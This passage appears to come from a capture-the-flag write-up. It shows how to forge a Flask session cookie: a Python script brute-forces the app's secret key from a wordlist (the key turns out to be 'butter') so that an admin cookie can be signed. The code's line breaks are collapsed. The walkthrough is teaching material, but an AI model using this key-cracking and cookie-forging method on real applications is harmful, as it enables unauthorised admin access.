So we can change the session variable to admin and encode it again, but first, we need to crack the secret key. This is because the remainder of the session cookie is the signature which will be checked at the server-side to prevent tampering.
The following script will bruteforce each secret in the wordlist:
import hashlibfrom itsdangerous import URLSafeTimedSerializerfrom flask.sessions import TaggedJSONSerializerwordlist = ["snickerdoodle","chocolate chip","oatmeal raisin","gingersnap","shortbread","peanut butter","whoopie pie","sugar","molasses","kiss","biscotti","butter","spritz","snowball","drop","thumbprint","pinwheel","wafer","macaroon","fortune","crinkle","icebox","gingerbread","tassie","lebkuchen","macaron","black and white","white chocolate macadamia"]cookie_str="eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YF7u-Q.G5B5RUmEVaXNyLzjitMwzPxALp4"defdecode_flask_cookie(secret_key,cookie_str): salt ='cookie-session' serializer =TaggedJSONSerializer() signer_kwargs ={'key_derivation':'hmac','digest_method': hashlib.sha1} s =URLSafeTimedSerializer(secret_key, serializer=serializer, salt=salt, signer_kwargs = signer_kwargs)return s.loads(cookie_str)for secret_key in wordlist:try: cookie =decode_flask_cookie(secret_key, cookie_str)except:continueprint(secret_key)print(cookie)
Here, the secret key is 'butter'.
With the secret key, we can craft our own session cookie: